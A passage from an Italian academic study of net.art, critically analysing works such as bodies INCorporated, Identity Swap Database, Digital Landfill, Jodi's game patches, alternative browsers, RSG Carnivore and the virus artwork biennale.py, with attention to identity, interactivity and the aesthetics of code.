sono affrontati i limiti posti dai capi della corporation? 
Soprattutto in che modo si interagisce essendo 
consapevoli del fatto che più aumentano le visite visivo-
esplorative ai corpi modellati più crescerà la loro 
importanza all’interno del progetto?  
La costruzione dell’identità attraverso il corpo passa 
attraverso una serie di categorie che ricalcano stereotipi 

dominanti, molti dei quali scelti dagli utenti in una fase precedente al lancio del 
progetto. La scelta di esseri antropomorfi è limitata e superata: da tempo sulla 
Rete gli utenti hanno scelto di rappresentarsi in forme molto più varie e 
polimorfiche.  Più interessante invece l’uso delle texture come superamento del 
colore della pelle. Una post-etnicità digitale. L’atto creativo, costituito dalla scelta 
del proprio avatar, primordiale in questo caso perché assimilato all’atto divino 
della creazione del corpo, sembra essere determinato da una serie di possibilità 
prefissate entro le quali scegliere. Il grado di libertà di scelta, all’interno di un 
apparato digitale come quello di Internet, si misura sempre col numero di 
possibilità (categorie-stereotipi) disponibili in un sistema. È la stessa differenza 
che passa in una ricerca tra un questionario a risposte aperte ed un altro a 
risposte multiple.  

  

Osannata come una delle opere più innovative nell’ambito della Net.Art, bodies©
INCorporated è in realtà molto più interessante nel progetto di base che nella sua
realizzazione pratica. La finzione narrativa della Corporation, che sta alla base
dell’opera, plasma tutto il progetto. L’interattività prevista è sia partecipativa nella
scelta dei corpi da parte dell’utente, sia collaborativa, nelle sezioni in cui è
sottolineata l’azione della community. La struttura del sito è concepita, un po’
provocatoriamente, per essere abbastanza autoritaria e gerarchica: il gruppo degli
‘artisti’ a capo hanno le ultime parole su ciò può venir fatto. L’atmosfera è cupa, a
tratti oppressiva.  Gli utenti sono spinti a scalare i livelli e salire di grado per poter
avere margini d’azione maggiori. La finzione “corporation” è ben ricreata in questo
modo. L’azienda controlla i corpi, le identità, le interazioni. Il meccanismo del
controllo, controllo visuale, emerge nello showplace in cui i corpi sono esposti come
manichini da osservare.  Victoria Vesna e co. hanno esposto diverse volte
quest’opera in contesti fisici, portando i corpi virtuali alla mercè del consumo d’arte
del pubblico di importanti musei. L’esposizione tradizionale di Net.Art  è stata
spesso dibattuta e il più delle volte contestata. Museificare (mummificare) un’opera
concepita per il web è rendere vana la filosofia dell’ubiquità e della moltiplicazione
dell’aura perdendo   Internet. Si può esporre la Rete… senza una Rete? 
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Identity Swap Database 
 
L’identità è uno dei concetti più dibattuti sulla Rete. Con Internet infatti la 
maggior parte degli utenti si è trovata di fronte alla possibilità di poter 
comunicare in perfetto  anonimato o di poter costruire identità alternative. Dagli 
ambienti di chat alla costruzione di Avatar da ‘vestire’ nelle lande sconfinate 
tridimensionali dei videogiochi online, l’utente ridefinisce continuamente ciò che 
sente di essere, il suo corpo, le sue azioni.  
 

Identity Swap Database è un progetto 
lanciato in Rete nel 1999 da Olia Lialina, 
pioniera della Net.Art, e Heath Bunting, 
famoso Hacker attivista del gruppo 
Irrational.org. Gli utenti vengono invitati a 
compilare un questionario (form),  redatto 
in diverse lingue,  con informazioni 
personali e fotografie, in modo non troppo 
diverso dalla compilazione di una carta di 

identità. Il fine è di costituire un grosso database di pubblica utilità. I dati richiesti 
sono quelli che ‘ufficialmente’ e legalmente determinano l’identità di una 
persona, quelli che formerebbero il cosiddetto soggetto fiduciario64: altezza, 
colore degli occhi, nazionalità, colore della pelle e fotografia. Si invitano poi gli 
utenti a fare uso a proprio piacimento delle identità e a scambiarle, per un breve 
periodo di tempo o per sempre. I risultati ottenuti da una qualsiasi ricerca non 
sono matematici, il database pare avere un criterio (random?) intrinseco per cui 
le risposte alle domande non sono esattamente pertinenti. Se chiedo una lista di 
biondi caucasici non necessariamente sarà quello il risultato.  
Come avviene spesso nei progetti di Net.Art sotto uno strato di apparente serietà 
versa un tono ironico e provocatorio. Si tratta di una riflessione sul confine che 
passa tra le identità possibili online e quelle sentite come ‘vere’, riassunte di 
solito nei campi di questionari come questo. Ma sono in questione i vecchi e  i 
nuovi processi di costruzione cognitiva dell’identità, che possono avvalersi oggi 

di strumenti e possibilità prima impensabili. La cessione di dati personali e il loro 
                                            
64 “complesso di elementi fisici e discorsivi, con cui lo stato moderno riconduce ciascun soggetto 
a un corpo fisico, facilmente reperibile nello spazio e nel tempo” (Allucquere Rosanne Stone cit.in 
Net.Art, 2003: 71) 
2 cfr Manovich, 2001: 274 

 

Do you need to escape for some
time or permanently ? if  so,
Identity Swap Database might
be useful for you. Here you will
find people who are prepared to
loan or permanently exchange
their identities 
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conseguente utilizzo a scopi commerciali avviene 
spessissimo sulla Rete con la formazione di enormi 
database. In questo progetto si invita ad una 
cessione totale di alcuni dati e all’acquisizione di altri 
dati simili allo scopo, come si dice nel sito, di 
facilitare gli spostamenti e il border crossing 
(attraversamento dei confini). Che si parli di territori 
fisici, cyberspaziali o mentali poco importa: è 
attraverso il superamento delle concezioni 
tradizionali di identità, legate ad aspetto fisico, età, 
appartenenza geografica, che si può cogliere la sfida 
delle nuove tecnologie ed esperire una nuova 
condizione umana interconnessa.   

 

Identity Swap Database si inserisce in un
filone di opere che considerano il database come
forma culturale2 e ne utilizzano le potenzialità in
maniera creativa. Come in tutti i database è
l’accumulazione a farne la forza, maggiori le
entries, maggiori le possibilità di ricerca,
maggiori i risultati. Si può utilizzare il database
per depositare dei dati, accrescendone la
grandezza, o semplicemente consultando
l’archivio. La navigazione del database è l’origine
potenziale di narrative plurime.  A partire da un
singolo campo di ricerca è possibile ricostruire le
storie degli individui – autorappresentati –
creando connessioni tra loro, e tra noi e loro. Il
processo coinvolge gli utenti  sia a livello di
interpretazione che di utilizzo vero e proprio del
database. Questo determina un’interattività
partecipativa, gli utenti sono chiamati a giocare
con quello che ritengono essere una serie di dati
personali – veri o falsi che siano – in un sistema
prefissato di catalogazione. È un gioco con il
quale si permutano tutti gli elementi di un macro
sistema identitario. I dati personali diventano un
vestito da indossare, di cui disfarsi, da
scambiare. Così come avviene tra le aziende
impegnate nella ricerca di target appetibili, che
si scambiano indirizzi di mail e informazioni
private, Identity Swap Database porta lo stesso
processo ad un livello simbolico: riappropriarsi
della propria identità per farne materia di
scambio con altre identità.   
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Digital Landfill  
 
In ogni computer il flusso di dati comprende migliaia di file, molti dei quali 
vengono creati e poi cancellati. La metafora del desktop comprende anche un 
cestino virtuale in cui depositare temporaneamente la spazzatura digitale prima 
che venga definitivamente distrutta. Ecco perché nel cyberspazio, e nei 
computer di tutto il mondo, non si pone il problema del sovraffollamento dei rifiuti 
e del loro smaltimento. I rifiuti digitali scompaiono così come sono stati creati, 
esistono come tali solo nel breve arco di tempo in cui l’utente li mantiene nel 
cestino. Uno dei primi progetti di Mark Napier, il creatore di Potatoland.com, è 

stata la creazione di una ‘discarica digitale’. Nato 
come un servizio di pubblica utilità, in forma di sito 
Internet gratuito e accessibile da tutti, il Digital 
Landfill invita gli utenti a non distruggere i materiali 
digitali che non servono più, ma a metterli in questa 
grande discarica, dove potrebbero essere raccolti 
da qualcun altro e riutilizzati. Dal semplice testo alle 
immagini, dalle e-mail alle stringhe di codice, tutto è 
eliminabile, quindi tutto è riciclabile. Così come in 
Superbad, che non butta via i suoi scarti ma crea un 
sito labirintico ipertestuale di insoliti materiali, nel  

 
Digital Landfill l’idea 
del riciclaggio viene 
portata all’estremo 
e resa multi-utente. 
Ognuno è chiamato 
ad inserire i suoi 
materiali e a dare 
un nome all’insieme 
di dati che decide di 
costituire.  
La metafora della 
discarica è ancora 
più palese se si 
considera l’effetto 
visuale del sito, che 

dispone a strati i dati degli utenti, così come succede materialmente ai rifiuti 
fisici. Ogni strato è un’ infoide potenzialmente dis-assemblabile e ri-
utilizzabile. E’ così possibile seguire tutta la storia della discarica, dal primo 
all’ultimo rifiuto.  
 

 

Now, with Digital 
Landfill, web citizens 
have an economical, 
safe, clean, and 
environmentally friendly 
way to dispose of 
unsightly scrap data. 

…spazzatura come risorsa creativa. ..spazzatura come metafora del web.. il 
Landfill è un magazzino degli oggetti dimenticati, è una delle migliori versioni 
digitali del collage dadaista. Cultura alta, cultura bassa, cybercultura, 
pornoimmagini e porno documenti, spamming estremo, link interrotti, linguaggi 
umani e linguaggi macchina. È uno spaccato del panorama della Rete – 
DigiLand Art collaborativa. Una “fetta del subconscio” del web. 
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Il digital Landfill è un’opera fondamentale della Net.Art, nonché
un’ottima metaora della Rete.  Concettualmente alla base
risiede l’idea del sovraffollamento delle informazioni, soprattutto
su un mezzo (luogo) di comunicazione che procede per
accumulazioni e moltiplicazioni come Internet. La nuova
ontologia degli oggetti digitali fa riflettere sull’idea di
spazzatura, che intanto non è qualcosa che si deteriora come i
rifiuti organici, né qualcosa che va incontro all’usura. La
digitalizzazione permette una riproducibilità elettronica, i dati
possono essere replicati senza perdita di informazione e
utilizzati per scopi diversi. Il copia e incolla non genera un’
appropriazione privativa, ma una proliferazione a spore.  
Lo stratificarsi degli interventi dei singoli utenti-partecipanti
costituisce l’opera in quanto tale. È un opera partecipativa più
che collaborativa, in quanto non si basa sulle interazioni tra
coloro che partecipano, ma sull’addizione dei singoli apporti.
Questo non vuol dire che il Landfill non possa costituire un
luogo di comunicazione in cui, probabilmente oltre le intenzioni
dell’artista, gli utenti si pongano in maniera ludica e inizino a
dialogare tra loro con i propri rifiuti digitali. Questo dimostra
l’intrinseca capacità di alcune opere di poter essere ‘deturnate’:
maggiore la libertà data all’utente, maggiori le possibilità di
appropriazione degli spazi messi a disposizione e di un
eventuale utilizzo alternativo.  
La soggettività dell’artista entra in gioco solo nella
programmazione della piattaforma, dell’interfaccia e nella
disposizione del layout entro il quale i dati andranno a
collocarsi. Il connubio tra una struttura entro la quale gli utenti
inseriscano i loro contenuti è in realtà anche una metafora della
Rete, in cui la produzione e la fruizione soggiacciono alle leggi
della formattazione HTML. Il Landfill non è un progetto di
catalogazione, l’ansia da Archiviazione dei motori di ricerca è
trasformata in stimolo per la produzione del nuovo.
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Hauntings – Dollyoko – Dollspace - GashGirl 
 
Dollyoko nasce sulle montagne di Kyoto, da un lago fangoso in cui le donne 
anticamente ammazzavano le figlie neonate indesiderate. Questa è una delle 
identità che Francesca da Rimini ha scelto per il suo lavoro. Dollyoko è un’entità 
fantasmatica plurima con l’ossessione per le bambole, come molte bambine. È la 
voce di mille voci di donne che non hanno mai avuto la possibilità di parlare. 
Assieme alle sue storie si mischiano quelle di  GashGirl, identità cyberfemminista 
luciferina, utilizzata precedentemente per altri lavori. 
 
 
Lo spazio costruito per Dollyoko, e per 
Gashgirl, mette insieme tre siti che 
contengono oscure trame narrative 
ipertestuali, link ai siti politici in cui i 
personaggi di spicco sono in qualche 
modo ‘fantasmi” (come il Sub-
comandante Marcos), messaggi di 
posta elettronica, immagini ambigue 
su sesso e pedofilia. L’opera si avvale 
di una colonna sonora di  

 
 
 
 
 
 
 
 

 
 
 
 
Michael Grimm di 20 minuti, attivabile con un click 
dall’home page. La navigazione ha un’entrata, ma 
non un’ uscita. L’ipertesto infinitamente navigabile 
sembra trasportare l’utente in un universo di narrazioni 
confuse, in cui emergono spettri, pornografia e politica 
con un intreccio poco plausibile secondo le logiche di 
un racconto tradizionale. Il percorso non è sempre 
lineare, alle volte il viaggiatore si trova a dover 
scegliere per determinare il suo cammino e probabilmente non riuscire a vedere 
cosa sarebbe successo se avesse scelto in un altro modo. 

"I like the freedom of ghostliness 
… it's easier to slip through the 
predictable binary reductionist 
screen/s to a space which once 
again feels uncolonised by 
histories … sometimes the net is 
the only space where I don't feel 
crazy … maybe because it is the 
only safe space to be completely 
excessive"

 

La presenza nel sito 
di immagini prese da 
alcune stampe 
olandesi del 1789 
per i libri del 
Marchese De Sade, è 
stata il motivo di una 
censura del sito e di 
un’intervista 
dell’artista da parte 
della Rete Civica 
Romana, che 
ospitava l’opera. 
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 Il percorso è una sorta di  viaggio, che procede per salti, negli immaginari 
confusi e mischiati dell’autrice. La diverse personalità non fanno fatica ad 
emergere. La frammentazione, dovuta alla particolare struttura del sito composto 
soprattutto di immagini statiche, porta ad un’esplorazione di paesaggi interiori 
contraddittori.  L’identità dedita al sesso e alla pornografia si incontra con quella 
di una pop-bambina la cui innocenza 
spaventa di più delle sue paure. I 
fantasmi della mente, creati nella 
narrazione, si incontrano con i fantasmi 
politici  a volto coperto della mitologia 
zapatista. Gli spazi geografici reali si 
fondono con gli spazi sociali delle chat e 
degli scambi di mail, in modo tale che si 
aggiungano voci alle voci narranti 
dominanti.  

 

 
 
 
 
 
 

 

"Se il gioco è buono abbastanza marchierò il 
mio corpo testuale con i tuoi desideri, perchè 
tutti ne godano. C'è anonimato ma non 
privacy."   

"Ma tutto questo è prematuro. Prendo i miei 
giochi molto seriamente, gli dedico diverse 
ore. E quindi esito quando avverto questa 
nuova mente che freme di curiosità sotto la 
punta delle mie dita."   

"La responsabilità delle immaginazioni 
andate lentamente in pezzi fino al loro nucleo
infinito si trova a disagio col mio impulso 
anarchico."   

"Sono disposta ad essere convinta" 

Una delle prime opere di WebArt ad essere state commissionate da un’istituzione
accreditata, come l’Australian Council, ed una delle prime ad essere state
vendute, in questo caso alla University of Westminster. L’interattività è minima, al
più  permette una scelta tra un serie di link per continuare il percorso. L’ipertesto
è invece sconfinato, io stesso ho passato quasi un’ora a navigarlo senza mai
visitare la stessa pagina. Come in molte opere di Web Art il soggetto creatore
emerge chiaramente, ma in un senso moltiplicativo, vista l’identità plurima messa
in gioco, che non permette a chi giudica l’opera di immaginare uno stile
dell’autore. Quello che contraddistingue quest’opera da un’opera tradizionale
sono i percorsi narrativi plurimi e lo spazio eterogeneo, composto da immagini,
testo, dialoghi in chat e scambi di mail.  
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When a viewer looks at our
work, we are inside his
computer. There is this
hacker slogan: "We love
your computer." We also
get inside people's
computers. And we are
honored to be in
somebody's computer. You
are very close to a person
when you are on his
desktop. I think the
computer is a device to get
into someone's mind. We
replace this mythological
notion of a virtual society
on the net or whatever with
our own work. We put our
own personality there.

JODI.ORG 
 
We’re honored to be in somebody’s computer affermano i Jodi (Joan Heemskerk 

and Dirk Paesmans). Con i loro esperimenti sul web non solo sono andati oltre il 
concetto di interfaccia, l’hanno definitivamente abolita. Le pagine dei loro 

progetti si impongono all’attenzione dell’utente attonito lasciando intravedere 

stringhe di codice 

incomprensibile (per 

chi non è in grado 

leggere), disponendo 

elementi grafici 

(menu, bottoni) in un 

flash di movimenti 

impazziti. Un teatro 

dell’assurdo 

concepito prima di 

tutto per stupire.  

Jodi pone prima di 

tutto la questione del 

modo in cui i dati 

vengono 

rappresentati. 

Essendo tutta la 

realtà digitale una 

questione di codice, 

il problema da 

sollevare risiede nel 

linguaggio utilizzato 

e nella sua 

traduzione, nella mappatura, nei modi della visualizzazione. È al di sopra di 

questo substrato che si innestano i segni, i simboli e le  metafore da codificare e 

interpretare.  
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Jodi va a fondo nel 

cuore delle  culture 

digitali, facendo 

emergere il Codice 

spogliato di ogni sua 

funzione Code for its 

aesthetic value, Code 

as abrasive language, 

Code as hallucination, 

Code as theater65. 

 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

                                            
65 http://www.archimuse.com/mw98/beyondinterface/packer_senses.html (u.a. 28/05/2003) 

La grafica è qualcosa da

indagare nei suoi caratteri

essenziali, nella riproposizione

dei fosfori verdi dei primi

videocomputer. Non ci sono

narrazioni, il sito è una continua

citazione del carattere oscuro

della Rete. Non rimane mai

uguale a sé stesso. Oggi

(29/05/03) cliccare su jodi.org

non produce altro che una

finestra piccolissima senza

contenuto. Il browser contratto

al massimo, quasi a voler

mettere in evidenza un grado

zero della comunicazione via

Internet. Jodi è il corrispettivo

digitale di una fabbrica

dismessa in cui perdersi tra

vecchie macchine e vecchi

apparati di produzione. Jodi è il

collasso e la deriva di senso.

Jodi è il Cuore di Tenebra della

Rete.   

È difficile giudicare Jodi
secondo dei parametri
standard. Non c’è niente del
carattere partecipativo delle
migliori opere di Net.Art.
L’interattività è al minimo
livello. Si è di fronte ad un
corticircuito ottico che aumenta
la bassa soglia di
consapevolezza del medium
dell’utente medio. La fruizione
della rete viene messa in
discussione con la proposta di
un tipo di flusso diverso che
porti in superficie il codice
sorgente destrutturato. L’anti-
informazione di Jodi è in realtà
un’ode d’amore al codice e una
critica all’assuefazione da
navigazione sicura.  



 

 155

 
 
 
 
 

Jodi – Untitled Games 
 
Il duo che costituisce Jodi è stato uno dei 
primi a sperimentare il codice in maniera 
estetica. Alla base della sua ‘arte’ ci sono 
gli errori, consapevolmente creati o 
scovati per caso. Gli errori scardinano 
gli utenti dalle sicurezze della 
navigazione creando una sensazione 
di shock.  
Negli anni ’90 si è iniziata a sviluppare la 
pratica del patching dei Videogames. 
Patch in inglese vuol dire letteralmente 
“toppa” o “rattoppare”. Sostanzialmente si 
trattava di software aggiuntivi che 

alteravano il codice66 del gioco per 
trasformare i protagonisti, i nemici, cambiare 
scenari, aggiungere armi o effetti speciali. La  
patch più famosa è quella che permetteva a 
Lara Croft di vivere le sue avventure 
totalmente nuda. A fronte delle patch  
istituzionali, che sovente aggiustavano gli 
errori dei videogames in commercio, gruppi 

di hackers o di artisti si divertivano a crearne di alternative, sovvertendo il gioco. 
L’accesso al codice binario reca in sé un potenziale di  trasformazione di ogni 
singola parte. Pratiche come queste sono cultural jammin’, interferenze culturali 

                                            
66 http://switch.sjsu.edu/web/v4n1/annmarie.html  

But we are not cyber-
supremacists, our work is not 
about making fun of people who 
don't know how to use 
computers. It is the opposite, we 
are clumsy, and we disrupt the 
slick surface of the information 
systems. We get a lot of ideas 
from making errors ourselves at 
our computer, when the system 
locks, gets frozen, shaking and 
flipping while crashing.. that is 
OSS/blue panic .. we want to 
share these rare moments. 

 

La patch ha molto in 
comune con il sampling 
delle culture musicali 
elettroniche: 
riappropriazione di un 
oggetto culturale (un 
frammento di canzone, un 
codice binario) per la 
creazione di un contesto 
visivo o sonoro alternativo. 
La patch è l’ultima 
frontiera dei Tactical 
Media: un dialogo 
creativo/distruttivo 
all’interno dei prodotti 
della nuova industria 
culturale. “to get inside 
cultural systems and make 
them do things they were 
never intended to do."68 

(Brett Stalbaum)  
La patch è un altro
attentato alla proprietà
intellettuale tutelata dal
copyright.  
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in un sistema, come quello dei videogames, che diventa sempre più invasivo, si 
asserve alle leggi di mercato  e veicola stereotipi legati alle culture dominanti. Lo 
spazio del gioco diventa quindi uno spazio di ri-codifica e di resistenza, 
un’opportunità per esempio per ridefinire modelli rigidi legati al genere (patches 
femministe). Riprogrammare un 
videogame è soprattutto un atto di 
riappropriazione: se le critiche al mito 
dell’interattività dimostrano quanta poca 
libertà d’azione ci possa in realtà essere 
in un ambiente digitale, agire sul codice 
non è agire con creatività, ma agire sulla 
creatività. 
 
Una delle ultime produzioni di Jodi è 
Untitled Game67. Come nello stile Jodi il remake dei videogames si rivela essere 
una destrutturazione radicale, dove l’aspetto ludico è l’ultima delle 
preoccupazioni, anzi nella maggior parte dei casi è impossibile giocare. Sono 
famose le versioni di Castle Wolfenstain e Quake, videogames i cui motori grafici 
innovativi permettevano una visione del giocatore sempre in soggettiva. Questa 
sovrappone lo sguardo dei programmatori a quello dei giocatori. Jodi si innesta 
in questa visione scardinandone l’autorità e trasformando il gioco in 
un’esperienza estetica diversa, in cui ci si muove tra stringhe di codice o 
panorami di pixel bianchi e neri. Per quanto riguarda Quake sono state prodotte 
14 patch differenti, 14 remix dell’estetica originale del gioco.. 686970 
 

                                            
67 http://www.untitled-game.org/download.html (u.a. 10/06/2003) 
68 cfr Bolter e Gruisin, 1999 
69 Untitled Game CD by JODI Review by Anne-Marie Schleiner -      

http://www.opensorcery.net/2reviews.html (u.a. 15/06/2003) 
70 cfr Vivian Sobchack, 2000 

 

All’avanguardia nelle pratiche di emersione del codice, con i lavori sui
videogames Jodi si inserisce in quella che, a mio parere, rappresenta la nuova
frontiera nella critica dell’industria culturale. Lavorando sui videogames Jodi
sovverte prima di tutto l’interfaccia grafica, base cognitiva per il movimento
dell’utente e necessaria per l’orientamento all’interno del sistema.
L’interattività del gioco è resa vana dalla mancanza di punti di riferimento. Il
vero evento comunicativo risiede nello spiazzamento dell’utente, soprattutto
nel caso in cui conosca la versione originale – tradizionale – del gioco. La
tendenza della maggior parte dei videogames alla “trasparenza” 70 e al
fotorealismo viene destrutturata in favore di rappresentazioni più arbitrarie (i
colpi di fucile in spruzzate di pixel).  Or the program becomes the performer,
I am no longer player god in control--I must concede some of my agency to
the code. 71 I ritardi e i cambi di velocità con cui vengono effettuate certe
azioni tolgono all’utente il controllo diretto della situazione lasciando una certa
dose di iniziativa al codice. Ma  Untitled games è prima di tutto un lavoro
multiplo, composto di 14 versioni diverse. La producibilità elettronica –
metamorphing72 - è tutta in questi esperimenti: se la semplice riproducibilità
non è altro che la matrice teorica del digitale, ne è la tradizione, la possibilità
di trasformazione continua  - morfogenesi – né è lo stato ontologico.  
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Alternative Browsers 
 
La navigazione su Internet è subordinata all’utilizzo di uno speciale software, che 
decodifica il linguaggio Html con cui sono programmati la maggior arte dei siti, e 
mostra lo spazio web così come è stato concepito dai suoi creatori. Nella 
maggioranza dei casi questo software si chiama Internet Explorer, programma di 
Microsoft integrato al sistema operativo Windows. Le operazioni di utilizzo di 
questo software sono diventate così automatiche che sono ormai scambiate 
dagli utenti per ‘naturali’, così come sta diventando naturale l’interfaccia grafica 
che simula la scrivania, presente nella quasi totalità dei personal computer in 
commercio.  
 
Alcuni gruppi di artisti e programmatori hanno invece tentato di mettere in 
discussione i meccanismi che restano nascosti al navigatore. Il codice Html 
è per esempio visibile solo con uno speciale comando o con un software 
apposito. A volte la struttura del sito che stiamo navigando non è 
immediatamente comprensibile nel groviglio di link ipertestuali. In ogni caso 
essendo la navigazione basata sulla lettura di un codice è il codice stesso che 
può diventare materia di appropriazione e ri-negoziazione, per una navigazione 
del web –in questo caso – estetica o “alternativa”.  
 

WEBSTALKER71 
Il primo dei browser alternativi non commerciali 
fu lanciato dal collettivo londinese I/O/D formato 
da Matthew Fuller, Simon Pope e Colin Green 
nel 1997. Il web viene interpretato a livello 
spaziale, i collegamenti sono resi espliciti in 
maniera grafica con delle linee mentre le pagine 
Html sono rappresentate da cerchietti. Maggiori i 
collegamenti ipertestuali tra le pagine del sito, 
più queste si faranno luminose, colpite da i raggi 
degli hyperlink.  Un esperimento come questo fa 
emergere una struttura, un’architettura intrinseca 

che è difficilmente coglibile attraverso una 
navigazione tradizionale. Con l’attivazione di 
altre funzioni è possibile visionare il codice, 
piuttosto che una lista dei nomi dei file o dei 
testi slegati dal contesto originale.  
Il flusso dei bit emerge in quanto tale con una 
rappresentazione dinamica e spazializzata, 
mentre un browser tradizionale cerca di 
occultarne i movimenti con una serie di pagine 
statiche.  
Un altro esperimento che continua sulla strada 

                                            
71 http://bak.spc.org/iod  

Web Stalker può essere
letto come un’opera di
net.art che esamina
criticamente il    proprio
medium, ma è anche una
riflessione su come la
realtà è modellata dal
software, dal modo in cui
del codice processa
codice.
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Riot gioca con questa
metafora per vedere cosa
accade se prendiamo due
territori, due
appezzamenti differenti, e
forzatamente, 
riottosamente li
frantumiamo e li
mischiamo per ottenere
un collage, che ora è
random. Che tipo di
significato, di rapporto
ottieni allora? Io lo
considero una macchina
dell’ironia, un generatore
di ironia68 

intrapresa da Webstalker è il Web Tracer, che aggiunge la terza dimensione alla 
rappresentazione delle pagine Html. In questo modo è possibile navigare intorno 
alla struttura creata e tra i collegamenti.  
 

NETOMAT 
 

Viene creato nel 1988 da Maciej Wisniewski. 
Si tratta di un software la cui idea alla base è 
diversa dai due browser precedenti. Mentre 
quelli mirano a rappresentare  graficamente 
una struttura, questo mette in discussione la 
disposizione di testo e immagini nella pagina, 
scardinando di fatto il layout originario. Gli 
oggetti di un sito fluttuano liberamente sullo 
schermo come in assenza di gravità. 
Netomat agisce come un motore di ricerca, 
rispondendo alle parole chiave immesse 

dall’utente, ma restituendo i risultati sezionandoli, dividendo le immagini dai testi, 
decontestualizzando le tag html.  
 
 

SHREDDER – RIOT72  
 
 
 
 
 
 
 
 
 
 
 
 
 
 
Creati da Mark Napier e messi online sul suo sito Potatoland.org, si differenziano 
dagli altri progetti simili perché non prevedono l’istallazione di un software, ma si 
inseriscono nel browser di partenza agendo da filtro sovvertitore. Digitando una 
Url nell’apposito campo è possibile visionare i contenuti di un sito in modo 
totalmente anarchico, sullo schermo gli elementi saranno disposti come se 
impazziti. Crollo della gerarchia e sfaldamento del layout. Il codice Html 
affiora e diventa segno estetico a sé. 73Riot è invece un superamento di 
Shredder nella misura in cui  permette una navigazione multiutente. Per la prima 

                                            
72 http://www.potatoland.org 
73 Mark Napier in  http://www.potatoland.org 

 

Rispondi o chiedi ulteriori
informazioni o digiti delle
parole-chiave e il flusso
dei dati sul tuo desktop
viene alterato in risposta. I
dati non sono costretti da
una pagina Web o da un
sito ma liberi di scorrere
indipendenti.  

Alterando il codice
Html, prima che il
browser lo possa
leggere, lo Shredder si
appropria dei dati del
web, trasformandolo in
un Web parallelo. I
contenuti diventano
grafica. Il testo diventa
grafica. L’informazione
diventa arte74 
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volta la ricerca74 dei contenuti non è più un’attività in solitudine, ma si fa 
collaborativa. I siti navigati si sovrappongono, i link rimangono attivi, gli utenti 
comunicano sul terreno ludico di un’ Internet detournata.  
 

 

CARNIVORE75 
È un progetto realizzato dal 
Radical Software Group di New 
York e coordinato da Alex 
Galloway. Denominato Rsg 
Carnivore si ispira all’omonimo 
software utilizzato dall’ FBI per 
captare tutto il flusso dei dati 
passante per un determinato 
Internet Service Provider, 
permettendo la decodifica di 
messaggi di posta elettronica, 
tracce dei siti navigati e 
messaggi istantanei. Diversi 
artisti sono stati chiamati a 
interpretare il flusso dei dati per tradurlo in immagini e suoni. Con la creazione di 
plug-in specifici gli artisti si cimentano nell’interpretazione dei dati con altri dati, 
facendo del flusso di Internet un’opportunità di ricerca formale, un modo per 
far emergere il panorama della rete e renderlo esteticamente visibile. Non a caso 
si parla di Netscape Art.  Con Rsg Carnivore  si gioca con la privacy, perché non 
viene discriminato ciò che è pubblico da ciò che è privato. I progetti di solito non 
mirano ad attentare alla sfera privata degli utenti, anche se col software 
tecnicamente sarebbe possibile, ma trasformano un flusso indistinto in un altro 
flusso indistinto che ha una correlazione di tipo matematico col primo. Un 
algoritmo arbitrariamente creato diventa uno strumento trasfiguratore.  
 
 

                                            
74 Deseriis 2003: 113 
75 http://www.rhizome.org/carnivore 
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 Mentre Carnivore è più un esperimento
estetico e formale, che in qualche modo
riporta la Net.Art su di una linea di
continuità con l’arte tradizionale, i browser
alternativi agiscono a vari livelli.
Destrutturano prima di tutto l’interfaccia di
ogni sito dissolvendone  il potere di
disposizione gerarchica dei contenuti,
sovvertendo gli elementi, portando in primo
piano ciò che rimane nascosto (codici-
pubblicità), moltiplicando gli oggetti in
random mode78, agendo di fatto come un
collage dadaista. L’esplorazione della rete,
grazie all’interattività prevista, non è più
finalizzata alla ricerca di informazione, ma
diventa una mappatura giocosa dei siti
visitati. Con Riot l’Internet sovvertita diventa
un terreno in cui far confluire i contenuti più
diversi (porno + politica!) creando percorsi
di senso multipli e narrative collaborative. I
browser alternativi sono stati tra i progetti
più innovativi nella scena delle opere di
Net.Art, perché hanno incarnato tutte quelle
caratteristiche di interattività, collaborazione
e critica che sono proprie delle nuove
avanguardie digitali. Sono opere su Internet,
non solo nel senso che possono essere fruite
solo sulla Rete, ma anche nel fatto che
prendono Internet come idea sottostante da
indagare. La rete è sia l’idea, sia il campo
di distribuzione, sia l’opera stessa. Ogni
contenuto può essere cannibalizzato.
Vengono minati alla base i movimenti
principali di una qualsiasi navigazione, che
comprende l’apertura di un browser e la
ricerca di contenuti. È come mettere un paio
di occhiali distorcenti ad un qualunque
visitatore di un museo, con la differenza che
in un museo i percorsi sono obbligati e il
visitatore può solo guardare, mentre su
Internet l’opera ha senso se sono gli utenti
che intervengono. 

76 
 
 
 
 
 
 
 

 
 
 
 
 
 
 
 

                                            
76 Modalità casuale 
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770100101110101101.org & EpidemiC 

Biennale.py 
 
Era il 1983 quando Fred Cohen 
applicò la parola Virus a quelli che 
noi conosciamo come i 
pericolosissimi software che si 
insinuano nel nostro computer 
provocando danni irreparabili. Si 
trattava, e per la maggior parte dei 
casi si tratta ancora, di programmi 
“parassita” capaci di autoriprodursi e 
diffondersi autonomamente 
attraverso la Rete. Il più delle volte 
essi attaccano i Sistemi Operativi dei 
computer “contaminati” per 
danneggiarli, altre volte veicolano 
contro-informazione.  
 
 

Prodotti per testare l’abilità dei 
programmatori e per mettere in 
discussione l’infallibilità dei 
sistemi informatici attraverso i 
quali si propagano, i Virus 
generano ansia e panico, sia nei 
semplici utenti sia negli 
amministratori di importanti reti. 
La capacità di mettere paura 
dipende anche in gran parte dalla 
nostra percezione dei virus 

biologici, che invadono il nostro corpo per modificarne i meccanismi dall’interno: 
così come ci si rende conto di possedere un corpo biologico e limitato nel 
momento in cui si contrae un virus, allo stesso modo un virus informatico 
mette in discussione la macchina computer, il suo istinto di onnipotenza, la 
sua fame di controllo. All’inizio della loro storia i Virus non furono considerati 
che esperimenti, qualcosa che potesse innestarsi nei sogni di Intelligenza 
Artificiale: un mettere alla prova i Computer e i confini della Rete stessa. Spesso 
non vengono diffusi, ma semplicemente scambiati all’interno di circuiti di 
collezionisti bizzarri o di Hacker capaci di leggerne il codice o di apprezzarne le 
potenzialità. Language is a Virus, diceva Laurie Anderson; i virus sono un 
linguaggio, si direbbe oggi, che travalica una funzione strettamente macchinica 
per generare cortocircuiti culturali. 
 
Concepito e compilato come opera d’arte da presentare alla 49sima Biennale di 
Venezia presso il padiglione sloveno, “biennale.py” è il prodotto della 

                                            
 

 

”Within the computer web, the
negative effect of viruses is
propagated much faster than the
positive effect of information. That is
why a virus is an information itself. It
proliferates itself better than others,
biologically speaking, because it is at
the same time both medium and
message. It creates the ultra-modern
form of communication which does
not distinguish, according to
McLuhan, between the information
itself and its carrier.” Jean Baudrillard
- Cool Memories 
